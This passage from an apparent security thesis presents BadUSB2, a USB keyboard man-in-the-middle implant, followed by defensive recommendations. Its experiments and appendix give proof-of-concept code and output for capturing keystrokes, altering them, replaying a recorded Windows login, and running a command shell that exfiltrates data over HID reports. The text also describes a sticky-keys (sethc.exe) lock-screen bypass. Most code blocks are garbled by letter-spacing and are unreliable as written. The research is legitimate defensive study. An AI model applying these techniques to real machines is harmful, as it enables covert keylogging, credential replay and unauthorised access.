whether their is a noticeable speed difference that may alert the user to the attack.

The relevant eavesdropping code looks like this (largely based Travis Goodspeed’s HID key-

board code [22]:

1 # The keymap used

2 keymaps ={

3 ’ en_US ’ : [ ’ a b c d e f g h i j k l m n o p q r s t u v w x y z 1 2 3 4 5 6 7 8 9 0 \ n \ t − = [ ] \ \ ; \ ’ ‘ , . / ’ ] ,

4 }

5

6 # DK: POC E a v e s d r o p p i n g code

7 d e f h i d 2 a s c ( s e l f , keycode ) :

8 ’ ’ ’ T r a n s l a t e keycodes t o USB ASCII ’ ’ ’

9 i f t y p e ( keycode ) != i n t :

10 r e t u r n ( 0 ) ;

11 e l s e :

12 r e t u r n ( s e l f . keymaps [ ’ en_US ’ ] [ 0 ] [ keycode ] ) ;

13

14 # DK: Hook i n t o k e y s t r o k e s f o r e a v e s d r o p p i n g

15 i f ( i n t d a t a [ 2 ] > 0 ) :

16 p r i n t ( " Key p r e s s e d %s " % s e l f . h i d 2 a s c ( i n t d a t a [ 2 ] ) ) ;

17 p r i n t ( "Raw Data : %s " % i n t d a t a ) ;
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Using a standard keymap [35], we can convert scancodes generated by the keyboard back into

readable ASCII text, as seen in the figure below.

Figure 5.1. BadUSB2 capturing keystrokes in realtime

Knowing that eavesdropping is working, we can use the "sticky key" approach (holding a key

down), to measure performance of BadUSB2 MITM keystrokes versus regular keystrokes from

a Non-MITM’d keyboard. The author chose the built-in laptop keyboard, the MITM’d Genius

keyboard, and the Genius keyboard when directly attached to the host. The following code was run

on the legitimate host to measure key press timing:

1 i m p o r t r e a d c h a r , sys , t ime

2

3 c h a r s =" " ;

4 w h i l e True :

5 t 0 = t ime . t ime ( ) ;

6 key= r e p r ( r e a d c h a r . r e a d c h a r ( ) ) ;

7 key= e v a l ( key ) ;

8 p r i n t ( " key p r e s s : " + key ) ;
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9 t 1 = t ime . t ime ( ) ;

10 p r i n t ( t1−t 0 ) ;

11 i f ( key== ’ \ x03 ’ ) :

12 p r i n t ( " C t r l −C , e x i t i n g . . . " ) ;

13 b r e a k ;

The results:

• Built-in Keyboard, the average key press time: 30ms

• Genius keyboard connected through BadUSB2, the average key press time: 30ms

• Genius Keyboard connected directly, the average key press time: 30ms

From this test we concluded that eavesdropping is possible using BadUSB2. In addition, there

was no real noticeable difference between the different scenarios, each key press was approximately

30ms, meaning the user would not see any different when typing. It is likely that the operating-

system is imposing a time limit of 30ms between key presses, and that each scenario tested took

less than 30ms.

Experiment 2: Modification. This experiment demonstrates the ability of the proposed MITM

solution to modify user key presses in real-time. As far as the author is aware, using this to perform

character substitution attacks is a first for USB hardware "implants". As a proof of concept, every

time the the letter "a" (scan code 0x04h) is typed on the keyboard, the MC will change the letter to

"b" (scan code 0x05h).

The relevant code looks like this:

1 i f ( l e n ( i n t d a t a ) >0) :

2 i n t d a t a = e v a l ( i n t d a t a ) ;

3 p r i n t ( " EP3 Data Rcved : %s " % i n t d a t a ) ;

4 # I n t e r c e p t K e y s t r o k e s b e f o r e p a s s i n g t o Host

5 i f ( i n t d a t a [ 2 ] = = 4 ) :

6 p r i n t ( " L e t t e r ’ a ’ found , c h a n g i n g i t t o ’ b ’ " ) ;

7 i n t d a t a [ 2 ] = 5 ;

8 p r i n t ( " EP3 Data Changed t o : %s " % i n t d a t a ) ;

9 s e l f . w r i t e b y t e s ( rEP3INFIFO , i n t d a t a ) ;

10 s e l f . wregAS ( rEP3INBC , 8 ) ;

The debug statements show the scan code being changed in real-time:
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1 EP3 Data Rcved : [ 0 , 0 , 4 , 0 , 0 , 0 , 0 , 0 ]

2 L e t t e r ’ a ’ found , c h a n g i n g i t t o ’b ’

3 EP3 Data Changed t o : [ 0 , 0 , 5 , 0 , 0 , 0 , 0 , 0 ]

4 w r i t i n g 8

The result is successful, the letter "b" is displayed on the legitimate host every time the letter "a"

key is pressed, proving that real-time modification and, character substitution attacks are possible.

Experiment 3: Replay. This experiment shows that scan codes retrieved from eavesdropping

can be replayed. For this experiment, we attempt to replay a MS Windows captured login. Once

again, the author is not aware of this attack being conducted in this way before.

To achieve this goal we first need to eavesdrop on a user logging in. For MS Windows this is

quite easy, as the user will typically use the "ctrl-alt-delete" keys before typing in their username

and/or password. The three key combination generates a unique scan code, engaging the modifier

(byte[0]) as seen below:

Figure 5.2. BadUSB2 Recording a MS Windows Login Session
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Figure 5.3. BadUSB2 Replaying a previously recorded MS Windows Login Session

When the MC detects the "ctrl-alt-delete" data, it begins recording all keystrokes until the return

key is entered. Anytime the MC wants to replay the login request, we simply hit the exclamation

key (shift-1) to trigger the replay. This payload was successfully replayed in order to gain access to

the target system.

Please note, for brevity, certain snippets of code were moved to the Appendix.

Experiment 4: Fabrication & Data Exfiltration. This experiment attempts to achieve an

interactive shell over USB-HID, by fabricating messages from the MC to the host and retrieving the

data through HID output reports. The experiment relies on a custom HIDAPI binary uploaded to

host, called "h" [27] in order to retrieve the output.

First we needed a way of telling the MC that we wanted to send it a command. The author

considered keyboard interrupts, but this didn’t seem like a good approach, an easier option was to

simply create a file on the disk of the MC that the code would poll on each interrupt transfer. If the

file, "/tmp/cmd" exists, the MC stops and asks the adversary to enter a command. Once entered, it

appends the redirects STDOUT to a file "o" with the ">" character, and finally calls the binary "h"

to read the file contents and send it to the MC using HID output reports.
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Figure 5.4. BadUSB2 USB-HID Interactive Shell

The figure above shows the adversary entering the Linux command "id" on the MC, and the host

returning the output of the command. In the second figure below, we sent the command "head -n5

/etc/passwd" to demonstrate the ability to also obtain multiline output.

Figure 5.5. BadUSB2 USB-HID Interactive Shell With Multiline Output
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This experiment was successful in acquiring an interactive shell, and demonstrating BadUSB2’s

capabilities to fabricate new messages, and exfiltrate data through HID reports.

One of the major drawbacks to the Output Report Fabrication technique (see Chapter 3, HID

Class) is that we are limited 1 byte per transfer. Furthermore, in our testing, we could only do

1 transfer per second (1 byte per second), which is not suitable for many tasks. We could have

modified the code to allow 8 bytes per second, with Linux’s relaxed take on HID Output reports(see

Chapter 3, HID Class), however, this is still not ideal. One recommendation may be to try and

modify communications such that communication between the host and MC negotiates a full-speed

connection, but still communicates with the peripheral in low-speed. This would allow 64-bytes per

transfer, significantly improving the performance.

Please note, for brevity, certain snippets of code were moved to the Appendix.

5.3 Comparative Evaluation

As seen from these experiments, BadUSB2 is capable of performing all of the attack capabili-

ties of the other rogue USB Hardware implants. Hardware Keyloggers can only eavesdrop on user

keystrokes, keyboard emulators can only fabricate and exfiltrate data, and BadUSB, although the-

oretically a competitor, requires a complicated process of reverse engineering and modifications to

support bespoke vendor firmware [13]. As far as the author is aware, this is the first tool capable of

achieving these results over USB.
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Chapter 6

Recommendations

In this chapter we review several controls that are likely to be selected during a formal risk

assessment, and review their effectiveness. The author then concludes this chapter be making three

recommendations to protect against BadUSB2.

6.1 Effectiveness of Existing Controls

In most risk assessments, the goal is reducing risk to an acceptable level. This often means

implementing more then one control. In this section we review several controls an organisation may

choose to mitigate the risk of malicious USB hardware devices. This is by no means an exhaustive

list, but highlights some of the key controls.

Whitelisting. USB peripherals can be identified by class, for example, HID devices, Mass

Storage, Imaging etc [36], or by a hardware identifier, which is made up of its product, vendor and

an optional serial number. This information is sent during enumeration, and can be used by the host

to create access control lists (ACLs). These ACLs can either use blacklists, restricting certain classes

or peripherals but accepting everything else, or whitelists, permitting certain classes or peripherals

and denying everything else.

By only permitting certain USB peripherals, whitelisting significantly reduces the threat land-

scape by blocking an adversary from attaching rogue devices, or becoming a different device as

used in some BadUSB attacks. That said, Keyboard emulation devices and BadUSB2 are dynamic,

and can easily circumvent this control by presenting itself to the host with an approved hardware
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identifier.

Behavioural. As discussed previously, Keyboard emulation devices are programmable, and can

therefore circumvent whitelisting by emulating an approved keyboard, usually the user’s keyboard.

Some device control systems utilise behavioural techniques to detect when an additional keyboard

is being added to the system. In this way it can alert, or block the event [37]. This technique would

not block or hinder BadUSB2 as it is attached in-line to the user’s "keyboard", thus registering only

one device.

Two Factor Authentication. 2FA does not hinder eavesdropping, nor does it hinder pre-boot

activity (before the operating-system is loaded). However, it does hinder the fabrication of new

messages when the workstation is locked. Normally, BadUSB2 could simply replay the last login

session recorded from the user, however, with 2FA, that would not be possible.

Lets assume the adversary has already captured the user’s username and password. The adversary

targets an idle system but the screen is screen locked, and it’s not possible to login without having

the 2FA token. At this point the attacker has a few options:

• Risk detection and run an automated script which replaces "sticky keys" binary

("c:\windows\system32\sethc.exe") with "cmd.exe" while the user is logged in. This will

allow the attacker to bypass the locked screen in future by simply pressing the shift key 5

times at the locked screen.

• When the system is idle, attempt to reboot it, and access safe mode with command prompt,

or other pre-load attacks discussed in Chapter 4.

• There may no need for the adversary to be active, they could simply choose to eavesdrop only.

Virtual Keyboards. It is possible to login to MS Windows using a virtual keyboard and nav-

igating with a mouse, this would prevent the user’s password being captured. Without the user’s

password the adversary is in the same position as the 2FA discussion above. The downside to this

control is that user’s would be unlikely to use this option on a daily basis, and enforcing it would

likely result in users’ leaving their workstations unlocked for short periods of time, leaving a win-

dow of opportunity.

Anti-Virus Software. In order to exfiltrate data, the adversary is required to upload a binary in

order to copy files using custom HID reports (see Chapter 3, HID Class). Anti-Virus software could



36

use heuristics or behavioural techniques to raise an alert.

6.2 Author Recommendations

In addition to considering the controls above, the author now presents three additional rec-

ommendations. Firstly, a short-term objective to raise user awareness, secondly, a medium-term

objective for software vendors, and finally, a longer-term consideration for hardware vendors using

a cryptographic approach.

User Awareness. Many malicious hardware devices can be purchased directly from the Internet,

and are detectable by the user if they know what to look for [28]. In particular, the user should be

encouraged to habitually check their keyboard cable for hardware attachments. This can be made

easier by using a USB port that is easily accessible. Finally, users need to be human sensors in

spotting these devices, and be trained how to act should they identify something suspicious.

Self-Learning. Device control systems need to increase its "knowledge" of existing USB pe-

ripherals on a network. It can achieve this by recording key events during control transfers, such

that if a noticeable change occurs, an alert can be triggered. Lets consider several examples of how

self-learning may help detect attacks:

• Endpoint hijacking as discussed in Chapter 3, could be a clear tell-tale sign that an active

MITM attack is underway. A sudden change in the Endpoint number would indicate that the

Endpoint has been hijacked. A self-learning system can compare previous endpoint records

to easily detect this change.

• Monitoring changes in the time it takes for a USB peripheral to complete the enumeration

phase may provide a benchmark to identify rogue Hardware implants.

• Suspicious usage of HID reports, or the use of non-compliant HID reports could be indicative

of an attack.

Use of Cryptography. Using cryptographic primitives for integrity and confidentiality would

go a long way in resolving in-line rogue Hardware implants. The author recommends the use of

code signing for firmware, and USB-SSL for enumeration and application data.
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Vendors such as IronKey utilise code signing for firmware updates, which is designed to pre-

vent malicious firmware modification (BadUSB) [38]. For low-cost peripherals this level of security

may not be feasible, with an alternate approach being to exclude any debugging interfaces on pro-

duction hardware, and to disable remote firmware upgrades initiated from the host. Finally, many

organisations now perform regular wireless scanning for rogue access points. This program can be

enhanced to include checks for Hardware implants and spot checks on USB peripherals, i.e. using

this proposed solution or other USB monitoring devices to monitor and observe behaviour.

To prevent compromising of USB fixed line communications, the author proposes SSL over

USB, or USB-SSL. The process works in almost the same way as HTTPS, except the USB periph-

eral acts as the HTTPS server. The process would work like this [39]:

• Hardware vendors generate a public, private keypair for each USB peripheral, and stores these

securely inside the peripheral.

• The peripheral and host agree on speed and a maximum packet size per transfer

• The peripheral then sends its public key and certificate.

• The host checks that the certificate was issued by a trusted certificate authority and that the

certificate hasn’t expired. The public key must also match the hardware identifier of the

peripheral.

• The host then generates a random key and encrypts it using the peripheral’s public key, and

then sends it to the peripheral.

• The peripheral then decrypts the data using its private encryption key, to recover the shared

secret symmetric key. At this point the peripheral and host can communicate using a shared

symmetric key.

There are several challenges to implementing USB-SSL. First, there will be a significant cost to

the vendors in creating SSL certificate keypairs for each USB peripheral or in managing a public-

key infrastructure if the vendor does it themselves. Secondly, the increase in resources to allow

this functionality would once again increases cost. In addition, with low speed devices having a

maximum packet size of 8 bytes per transfer, ciphertext block sizes would be limited to 64 bits.
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This is considered weak due to the birthday paradox [40] and if we increase the block size we get

message expansion that would degrade performance.
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Chapter 7

Related Work

This chapter examines the differences between BadUSB2 and other research in this area.

7.1 Design and Software

This paper uses the Facedancer MITM design conceived by Rijnard Von Tonder and Herman

Engelbrecht in their paper, "Lowering the USB Fuzzing Barrier by Transparent Two-Way Emula-

tion". In their design, all the MITM functionality is built into software on the mediating computer.

When tested, the TTWE Framework allowed transparent communications between a host and USB

mass storage device using full-speed, and focused primarily on fuzzing drivers [21] [15]. Our pro-

posal needed to allow enumeration of low-speed devices, with the addition of interrupt transfers and

HID support. Through trial and error, we made a decision to do a complete rewrite. The new code

adds the following functionality not found in the original TTWE Framework:

• Supports low speed USB devices, tested with keyboards and mice

• Supports interrupt transfers

• Added HID support allowing inserting or modifying of HID report descriptors

• Captures and displays real-time HID Input reports from the USB peripheral, and HID Output

reports from the host

• Eavesdrop, modify, replay and fabricate messages through interrupt transfers
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• Works with Python 2.7.6, no need for two different versions

7.1.1 Alternative Designs

The VonTonder-Engelbrecht design was used for this paper for three main reasons. Affordability

($105 for each Facedancer), the fact that it had been used to practically demonstrate an actual trans-

parent USB-MITM between a host and USB peripheral, and the maturity of the existing Facedancer

programming libraries relative to other projects. Several other projects were also considered:

USBProxy by Dominic Spill. A USB-MITM design using the BeagleBone Black, and LibUSB.

This was a strong contender for this paper, however, the project is still very much in Alpha stages,

and Dominic Spill pointed me to the VonTonder-Engelbrecht design [41].

Diasho by Michael Ossmann and Dominic Spill. Proposes a hardware device capable of MITM’ing

USB and other hardware interfaces, but is still very much in development [42].

Beagle Protocol Analyzer by Total Phase Inc. The Beagle devices are commercial-grade hardware

USB protocol analysers, but only supports eavesdropping, which is not suitable for our project [43].

7.2 Attack Capabilities

As far as the author is aware, BadUSB 2.0 is the only proposed solution that combines all of the

attack capabilities into a single system. In this section we briefly consider several related research

projects.

Hybrid Device. Adrian Crenshaw has done a lot of research into keyboard keyloggers as well as

keyboard emulation. In 2012, he proposed a hybrid device capable of being a hardware keylogger,

and keyboard emulation device in one [44]. This is the closest work the author has seen to the pro-

posed solution in this paper. Adrian’s project was a success, he was able to capture keystrokes, and

demonstrated that certain key combinations could be used to trigger the keyboard emulation part to

kick off an event. This device is capable of eavesdropping, and fabrication which is a significant

improvement over a standard keylogger.

Teensy. Mike Czumak, Adrian Crenshaw and Offensive Security, have demonstrated the the ability

to fabricate messages and exfiltrate data through Keyboard emulation [33] [30] [31] [32] [33].

Data Exfiltration Techniques. Thomas Cannon, AndrÃąs Veres-SzentkirÃąlyi, and identified two
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techniques to exfiltrate data through the HID Output reports [9] [10] [11].

BadUSB. Karsten Nohl, Sascha Kribler and Jakob Lell introduced BadUSB at Blackhat 2014. The

concept of modifying USB peripheral firmware to attack a computer [13].

Kali Linux NetHunter. Offensive Security have released software that can perform Keyboard

emulation, as well as BadUSB attacks using supported Android devices. This is a significant im-

provement over the Teensy based devices which can only do Keyboard emulation attacks.
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Chapter 8

Conclusions

At the beginning of the paper, the author laid out three problems, namely, the means to test the

effectiveness of device control systems, a method of testing a potentially infected USB peripheral,

and finally, to raise the level of awareness and understanding of the different malicious USB hard-

ware devices publicly available.

To address these problems the author developed an in-line hardware solution (BadUSB2), capable

of performing passive or active Man-in-The-Middle attacks against low-speed, USB-HID devices,

such as keyboards and mice. Furthermore, in this paper, we have demonstrated its attack capabilities

to eavesdrop, modify, replay and fabricate new messages, as well as exfiltrate data through USB-

HID output reports. We also presented an approach to classify malicious USB hardware device

functions based on their attack capabilities, and compared the strengths and weaknesses of these

devices against our USB-MITM solution.

1) During evaluation, BadUSB2 was able to simulate all of the attack capabilities discussed in

this paper, as well as showcase some new attack scenarios, such as the character substitution

attack, and the auto-login replay attack. These simulations could be used to test the effective-

ness of the device control system. Furthermore, the attack capabilities outlined in this paper,

could be used as a benchmark to compare one security system against another.

2) BadUSB2 is able to intercept messages going to the host, as well as messages destined for

the peripheral. It can therefore be used to probe and analyse the behaviour of infected USB

peripherals in a lab environment.
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3) This paper provides sufficient information to understand current USB hardware attacks, trends

and attack capabilities. In addition, highlighting security professionals may re-think their

existing risk assessment methodology in relation to malicious USB hardware.

8.1 Future Work

BadUSB2 is only a proof of concept, and although the core code is there, it would require fur-

ther development to be used in real-world engagements. Additional logic will be required to support

other device classes outside of USB-HID. For penetration testing, a more physically compact ver-

sion of the tool is needed, possibly with cellular or wireless capabilities instead of being directly

wired to the mediating computer. Finally, to improve the speed of data Exfiltration, MC may be

able to negotiate a full-speed connection with the host, but still maintain low-speed session with the

peripheral. This would allow 64-bytes per transfer, significantly improving performance.
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Appendix A

Appendix

A.1 Experiment 3

The code relating to experiment 3, running on the MC.

1 i f ( l e n ( i n t d a t a ) >0) :

2 i n t d a t a = e v a l ( i n t d a t a ) ;

3 p r i n t ( " EP3 Data Rcved : %s " % i n t d a t a ) ;

4 # I n t e r c e p t K e y s t r o k e s b e f o r e p a s s i n g t o Host

5 i f ( i n t d a t a [0 ]==5 and i n t d a t a [ 2 ] = = 9 9 ) : # c t r l −a l t −d e l e t e combo d e t e c t e d ,

s t a r t r e c o r d .

6 p r i n t ( " C t r l −Alt−D e l e t e En te red , r e c o r d i n g . . . " ) ;

7 s e l f . r e c d a t a = [ ] ;

8 s e l f . r e c s t a t u s =True ;

9 i f ( i n t d a t a [ 2 ] = = 4 0 ) : # E n t e r key p r e s s e d , s t o p r e c o r d i n g .

10 p r i n t ( " R e t u r n key p r e s s e d , d i s a b l i n g r e c o r d " ) ;

11 i f ( s e l f . r e c s t a t u s ) :

12 s e l f . r e c d a t a += i n t d a t a ; # Add e n t e r key or i t g e t s s k i p p e d .

13 s e l f . r e c d a t a + = [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] # key−up

14 p r i n t ( " Keys r e c o r d e d : %s " % s e l f . r e c d a t a ) ;

15 s e l f . r e c s t a t u s = F a l s e ;

16 i f ( s e l f . r e c s t a t u s ) : # Record d a t a u n t i l we g e t a r e t u r n key .

17 p r i n t ( " Reco rd ing key p r e s s %s " % i n t d a t a ) ;

18 s e l f . r e c d a t a += i n t d a t a ;

19 i f ( i n t d a t a [0 ]==2 and i n t d a t a [ 2 ] = = 3 0 ) : # E x c l a m a t i o n mark used t o t r i g g e r

r e p l a y .
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20 p r i n t ( " R e p l a y i n g l o g i n d a t a " ) ;

21 i n t d a t a = s e l f . r e c d a t a ;

22 pos =0;

23 d e s c l e n =8; # HACK TODO DK: ha rdcoded f o r low speed .

24 c o u n t = l e n ( i n t d a t a ) ;

25 i f ( count >8) :

26 w h i l e count >0:

27 c=min ( count , d e s c l e n ) ;

28 p r i n t ( " Send ing %s " % i n t d a t a [ pos : pos+c ] ) ;

29 s e l f . w r i t e b y t e s ( rEP3INFIFO , i n t d a t a [ pos : pos+c ] ) ;

30 s e l f . wregAS ( rEP3INBC , c ) ;

31 t ime . s l e e p ( 0 . 3 ) ;

32 c o u n t = count−c ;

33 pos=pos+c ;

34 e l s e :

35 s e l f . w r i t e b y t e s ( rEP3INFIFO , i n t d a t a ) ;

36 s e l f . wregAS ( rEP3INBC , 8 ) ;

A.2 Experiment 4

The code relating to experiment 4. The first snippet runs on the MC, the second runs on the

host.

1 ### F a b r i c a t e a message when we c r e a t e a f i l e on t h e MC " / tmp / cmd"

2 ### Sample POC, needs a s h e l l open and t h e HID b i n a r y i n t h e c u r r e n t d i r e c t o r y .

3 c m d f i l e =os . p a t h . i s f i l e ( " / tmp / cmd" ) ;

4 i f ( c m d f i l e ) :

5 # E n t e r a command t o send t o t h e h o s t .

6 d a t a = r a w _ i n p u t ( " Type a message : " ) ;

7 f o r i i n r a n g e ( l e n ( d a t a ) ) :

8 i n t d a t a += s e l f . asc2hidMod ( d a t a [ i ] ) ;

9 # r e d i r e c t s t d o u t p u t t o f i l e " o " and send o u t p u t t h r o u g h HID

10 # A b i t messy , b u t works as POC

11 # cmd_by_MC > 0 ; . / h o

12 i n t d a t a += s e l f . asc2hidMod ( ">" ) ;

13 i n t d a t a += s e l f . asc2hidMod ( " o " ) ;

14 i n t d a t a += s e l f . asc2hidMod ( " ; " ) ;
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15 i n t d a t a += s e l f . asc2hidMod ( " . " ) ;

16 i n t d a t a += s e l f . asc2hidMod ( " / " ) ;

17 i n t d a t a += s e l f . asc2hidMod ( " h " ) ;

18 i n t d a t a += s e l f . asc2hidMod ( " " ) ;

19 i n t d a t a += s e l f . asc2hidMod ( " o " ) ;

20 i n t d a t a + = [ 0 , 0 , 4 0 , 0 , 0 , 0 , 0 ] ; # E n t e r key

21 i n t d a t a + = [ 0 , 0 , 0 , 0 , 0 , 0 , 0 ] ; # key up

22 os . remove ( " / tmp / cmd" ) ;

1 /∗ ∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗

2 Windows HID s i m p l i f i c a t i o n

3

4 Alan O t t

5 S i g n a l 11 S o f t w a r e

6 8 / 2 2 / 2 0 0 9

7 C o p y r i g h t 2009

8

9 Thi s c o n t e n t s o f t h i s f i l e may be used by anyone

10 f o r any r e a s o n w i t h o u t any c o n d i t i o n s and may be

11 used as a s t a r t i n g p o i n t f o r your own a p p l i c a t i o n s

12 which use HIDAPI .

13

14 M o d i f i c a t i o n s made by David Kie r znowsk i t o r e a d i n

15 f i l e s one b y t e a t a t ime .

16 2 2 / 0 8 / 2 0 1 5

17 ∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗ ∗ /

18

19 # i n c l u d e < s t d i o . h>

20 # i n c l u d e <wchar . h>

21 # i n c l u d e < s t r i n g . h>

22 # i n c l u d e < s t d l i b . h>

23 # i n c l u d e " h i d a p i . h "

24

25 / / Headers needed f o r s l e e p i n g .

26 # i f d e f _WIN32

27 # i n c l u d e <windows . h>

28 # e l s e
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29 # i n c l u d e < u n i s t d . h>

30 # e n d i f

31

32 i n t main ( i n t a rgc , c h a r ∗ a rgv [ ] )

33 {

34 i n t r e s ;

35 u n s i g n e d c h a r buf [ 2 5 6 ] ;

36 # d e f i n e MAX_STR 255

37 wchar_ t w s t r [MAX_STR ] ;

38 i n t i ;

39 c h a r ch ;

40 c h a r ∗ chex ;

41 FILE ∗ fp ;

42 h i d _ d e v i c e ∗ h a n d l e ;

43

44 # i f d e f WIN32

45 UNREFERENCED_PARAMETER( a r g c ) ;

46 UNREFERENCED_PARAMETER( a rgv ) ;

47 # e n d i f

48

49 s t r u c t h i d _ d e v i c e _ i n f o ∗devs , ∗ cu r_dev ;

50 i f ( h i d _ i n i t ( ) )

51 {

52 p r i n t f ( " E r r o r i n i n i t " ) ;

53 r e t u r n −1;

54 }

55

56 / / Open t h e d e v i c e u s i n g t h e VID , PID ,

57 / / and o p t i o n a l l y t h e S e r i a l number .

58 h a n d l e = h id_open (0 x4d9 , 0 x1702 ,NULL) ;

59 i f ( ! h a n d l e ) {

60 p r i n t f ( " u n a b l e t o open d e v i c e \ n " ) ;

61 / / r e t u r n 1 ;

62 }

63

64 / / S e t up t h e command b u f f e r .

65 memset ( buf , 0 x00 , s i z e o f ( buf ) ) ;
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66

67 fp = fopen ( " o " , " r " ) ;

68

69 w h i l e ( ( ch= f g e t c ( fp ) ) != EOF)

70 {

71 p r i n t f ( "%c \ n " , ch ) ;

72

73 / / The f i r s t b y t e i s t h e r e p o r t number (0 x0 ) .

74 buf [ 0 ] = 0x0 ;

75 buf [ 1 ] = ch ;

76 p r i n t f ( " h e r e \ n " ) ;

77 r e s = h i d _ w r i t e ( hand le , buf , 2 ) ;

78 i f ( r e s < 0) {

79 p r i n t f ( " Unable t o w r i t e ( ) \ n " ) ;

80 p r i n t f ( " E r r o r : %l s \ n " , h i d _ e r r o r ( h a n d l e ) ) ;

81 }

82 s l e e p ( 1 ) ;

83 }

84 h i d _ c l o s e ( h a n d l e ) ;

85 /∗ Free s t a t i c HIDAPI o b j e c t s . ∗ /

86 h i d _ e x i t ( ) ;

87 # i f d e f WIN32

88 sys tem ( " pause " ) ;

89 # e n d i f

90

91 r e t u r n 0 ;

92 }


